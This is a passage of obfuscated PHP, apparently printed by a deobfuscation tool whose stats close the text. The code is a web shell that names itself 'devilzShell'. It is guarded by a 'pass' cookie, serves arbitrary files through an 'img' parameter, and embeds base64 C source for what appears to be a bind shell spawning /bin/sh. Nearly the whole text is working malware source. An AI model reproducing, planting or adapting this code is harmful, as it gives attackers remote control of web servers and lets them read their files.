151\x77\x69\x63\x32\147\151\114\103\150\152\141\x47\x46\171\xa\111\103\x6f\x70\115\x43\153\67\x49\101\x30\113\111\107\116\163\x62\x33\116\154\x4b\107\132\x6b\113\x54\x73\147\104\x51\160\71"; goto BtY92; iX2Pi: @set_time_limit(0); goto esWEq; FqYTK: $bg = "\x69\x56\102\117\x52\x77\x30\113\107\x67\x6f\x41\x41\x41\101\x4e\123\x55\150\x45\125\x67\101\x41\101\x41\x4d\x41\x41\x41\x41\x44\x43\x41\x59\101\101\x41\102\x57\113\x4c\127\x2f\101\x41\x41\101\112\153\154\105\121\126\122\x34\62\155\116\x6b\x41\101\x49\160\113\x61\x6e\57\142\x39\66\70\131\x57\101\105\xa\x4d\x5a\64\71\145\167\x61\155\x47\x64\156\x59\62\120\66\x4c\x69\x49\147\x77\147\101\121\101\x38\x78\131\116\131\x68\x65\157\x74\x4e\143\x41\x41\101\x41\x41\123\125\126\117\122\x4b\65\103\x59\x49\x49\75"; goto fkGVx; uffjI: if (isset($_GET["\x69\155\x67"])) { $file = xclean($_GET["\151\155\147"]); if (is_file($file)) { @ob_clean(); $inf = getimagesize($file); $ext = explode(basename($file), "\56"); $ext = $ext[count($ext) - 1]; @header("\x43\157\x6e\x74\x65\156\164\x2d\164\x79\x70\x65\72\x20" . $inf["\x6d\151\155\145"]); @header("\x43\141\143\x68\145\55\x63\x6f\x6e\x74\162\x6f\154\72\40\x70\x75\x62\154\151\143"); @header("\x45\170\160\x69\x72\145\x73\x3a\x20" . date("\162", mktime(0, 0, 0, 1, 1, 2030))); @header("\x43\141\x63\150\x65\x2d\143\157\156\x74\162\x6f\x6c\x3a\x20\x6d\x61\170\55\x61\x67\x65\x3d" . 60 * 60 * 24 * 7); @readfile($file); die; } else { $file = ${$file}; $data = base64_decode($file); @header("\103\157\156\x74\x65\156\164\55\x74\x79\x70\x65\72\x20\x69\155\141\x67\x65\x2f\160\x6e\x67"); @header("\103\x61\x63\x68\x65\x2d\143\157\156\164\162\x6f\154\x3a\40\160\165\142\154\x69\x63"); echo $data; die; } } goto ixZ3c; wDRnb: $xCwd = xcleanpath(getcwd()); goto yEXml; bhKOZ: $shell_name = "\x64\145\x76\x69\154\172\123\150\x65\154\x6c"; goto OKtKC; BtY92: $xBind = "\x49\62\154\165\131\x32\170\61\x5a\107\125\147\x50\x48\116\x30\132\107\x6c\166\x4c\x6d\x67\53\x44\x51\x6f\152\141\127\x35\x6a\142\110\126\153\x5a\123\101\70\x63\x33\x52\x79\x61\127\65\x6e\114\155\x67\x2b\104\121\x6f\x6a\141\x57\x35\x6a\x62\110\x56\153\132\123\x41\70\143\63\154\x7a\114\63\122\x35\xa\143\x47\x56\172\x4c\x6d\147\x2b\104\x51\157\152\141\x57\65\x6a\x62\x48\x56\153\x5a\123\x41\x38\x63\x33\x6c\172\x4c\x33\116\x76\131\62\x74\154\144\103\x35\157\x50\x67\x30\x4b\111\x32\x6c\x75\x59\x32\170\x31\132\107\125\147\120\107\x35\154\144\x47\x6c\165\x5a\x58\121\166\141\x57\x34\165\x61\104\64\116\12\x43\x69\x4e\x70\142\x6d\x4e\163\144\127\122\154\x49\x44\x78\154\x63\x6e\112\165\x62\171\x35\157\x50\147\x30\113\x61\x57\65\x30\111\107\61\150\141\x57\64\157\x59\130\x4a\x6e\x59\x79\x78\x68\143\155\x64\62\113\x51\60\113\141\127\x35\60\x49\x47\x46\x79\132\62\x4d\x37\x44\x51\x70\x6a\x61\107\106\x79\12\111\x43\157\161\x59\130\112\156\144\152\163\116\103\156\163\x67\x49\x41\x30\x4b\x49\x47\154\165\x64\103\x42\x7a\142\x32\x4e\x72\132\x6d\x51\163\x49\x47\x35\x6c\x64\x32\x5a\153\117\x77\60\113\111\x48\116\60\143\156\126\152\x64\x43\102\x7a\x62\62\x4e\x72\131\127\122\x6b\143\154\x39\x70\x62\x69\102\171\xa\x5a\x57\x31\x76\144\107\x55\67\104\x51\x6f\147\141\127\131\x6f\x5a\x6d\x39\x79\141\171\147\160\x49\104\60\71\x49\104\x41\x70\111\110\163\147\x44\121\157\147\143\x6d\126\x74\x62\x33\x52\x6c\114\156\x4e\x70\x62\154\71\155\x59\x57\x31\160\142\x48\x6b\x67\x50\x53\x42\x42\x52\154\x39\x4a\124\x6b\x56\125\12\x4f\167\60\x4b\x49\110\112\x6c\142\x57\71\60\x5a\x53\x35\172\141\x57\65\x66\143\107\x39\171\144\x43\101\71\x49\107\150\60\x62\62\65\172\113\x47\106\x30\x62\x32\153\157\131\130\x4a\156\144\154\x73\x78\130\123\153\x70\117\167\x30\x4b\x49\x48\112\154\142\x57\71\60\132\123\65\172\141\x57\65\x66\12\x59\x57\x52\x6b\143\x69\x35\x7a\x58\62\106\153\x5a\110\111\147\x50\123\x42\x6f\144\107\71\x75\x62\103\x68\112\124\x6b\106\105\122\106\x4a\146\121\125\65\x5a\113\124\163\x67\104\121\157\147\143\x32\71\x6a\x61\62\132\153\x49\x44\x30\147\x63\62\71\x6a\x61\62\126\x30\113\105\106\107\130\60\154\117\xa\122\126\x51\163\125\60\x39\x44\x53\61\x39\124\x56\x46\112\x46\121\x55\x30\x73\x4d\103\x6b\67\104\x51\x6f\147\141\127\131\x6f\111\x58\116\x76\x59\62\164\155\x5a\103\153\147\143\107\126\171\143\x6d\71\x79\x4b\103\112\x7a\x62\62\116\162\x5a\x58\121\147\x5a\130\x4a\x79\142\x33\111\x69\113\x54\x73\x4e\12\103\x69\x42\151\x61\x57\65\153\113\x48\116\x76\131\x32\164\155\132\103\x77\147\x4b\110\116\x30\143\156\x56\x6a\x64\103\x42\172\142\x32\x4e\162\x59\127\122\153\143\x69\101\x71\113\123\x5a\x79\x5a\127\x31\x76\144\x47\125\x73\111\x44\102\64\115\x54\101\x70\x4f\167\x30\113\111\107\x78\x70\x63\63\x52\x6c\12\x62\x69\150\172\x62\x32\x4e\x72\x5a\155\121\163\111\104\x55\x70\x4f\x77\x30\x4b\111\110\144\157\x61\127\x78\154\113\104\x45\160\x44\x51\157\x67\x49\x48\163\x4e\x43\x69\x41\147\111\107\x35\154\144\x32\132\153\120\127\106\x6a\131\62\x56\x77\144\x43\x68\x7a\142\x32\x4e\162\132\155\121\163\115\103\x77\167\12\x4b\x54\163\x4e\103\151\101\x67\111\x47\x52\x31\143\104\111\157\142\155\x56\x33\132\155\x51\163\115\x43\x6b\x37\x44\121\157\147\x49\103\102\x6b\144\130\101\171\113\x47\65\154\x64\x32\132\153\x4c\104\x45\x70\117\x77\60\113\111\x43\x41\x67\132\x48\x56\167\115\151\150\165\132\x58\144\x6d\x5a\x43\167\x79\12\113\124\163\x67\111\x43\101\x4e\x43\x69\x41\x67\111\107\126\x34\132\x57\x4e\x73\113\x43\x49\166\x59\x6d\x6c\165\114\x33\116\157\111\151\x77\151\143\62\147\151\114\103\150\x6a\141\107\x46\171\x49\x43\157\160\115\x43\x6b\x37\111\101\x30\x4b\x49\103\101\x67\131\62\170\166\x63\x32\x55\157\x62\x6d\126\63\12\x5a\x6d\121\x70\x4f\167\x30\x4b\111\103\x42\x39\104\121\x6f\147\146\x51\x30\113\x66\121\x30\x4b\x61\127\65\60\111\107\x4e\157\143\107\106\x7a\143\x79\x68\152\x61\x47\106\x79\x49\x43\160\x69\131\130\116\x6c\114\103\x42\152\x61\x47\x46\171\111\103\160\154\x62\x6e\122\x6c\143\155\126\153\113\x53\x42\x37\12\104\x51\x70\160\x62\156\x51\147\x61\x54\x73\116\x43\x6d\x5a\x76\143\151\x68\x70\x50\124\101\67\x61\124\x78\x7a\144\110\x4a\x73\x5a\127\x34\x6f\132\x57\65\60\x5a\x58\112\154\x5a\103\x6b\x37\141\123\x73\162\x4b\x53\101\x4e\x43\x6e\x73\x4e\x43\x6d\x6c\155\x4b\107\x56\165\x64\107\126\171\132\x57\122\142\xa\141\x56\x30\147\120\x54\60\x67\x4a\x31\170\165\112\x79\x6b\x4e\x43\x6d\126\165\x64\x47\126\x79\132\127\122\142\141\126\x30\147\120\x53\x41\x6e\x58\x44\x41\x6e\117\171\101\x4e\x43\155\x6c\x6d\x4b\x47\x56\165\x64\x47\126\171\x5a\127\122\142\x61\x56\60\147\120\x54\x30\x67\112\61\170\x79\x4a\171\153\116\12\x43\x6d\x56\165\x64\x47\126\x79\x5a\127\x52\142\141\x56\x30\147\x50\x53\101\x6e\130\104\x41\156\117\167\60\113\146\121\60\113\x61\127\x59\x67\113\x43\106\x7a\x64\110\x4a\x6a\142\x58\101\x6f\131\155\106\172\x5a\123\x78\154\x62\x6e\122\x6c\143\155\126\153\x4b\x53\153\x4e\x43\156\112\x6c\x64\x48\x56\171\12\142\151\101\x77\117\x77\x30\x4b\146\x51\75\75"; goto cxcLS; HGHI7: if (isset($_COOKIE["\x70\x61\163\163"])) { $check = trim($_COOKIE["\160\141\x73\x73"]); } else { $check = ''; } goto o6fA7; I8RPX: $shell_version = "\x76\x31"; goto YnICT; twz3u: ?>
Function Calls
None |
Stats
MD5 | 53c236c73d6c64ea3c46802353d9a8e2 |
Eval Count | 0 |
Decode Time | 159 ms |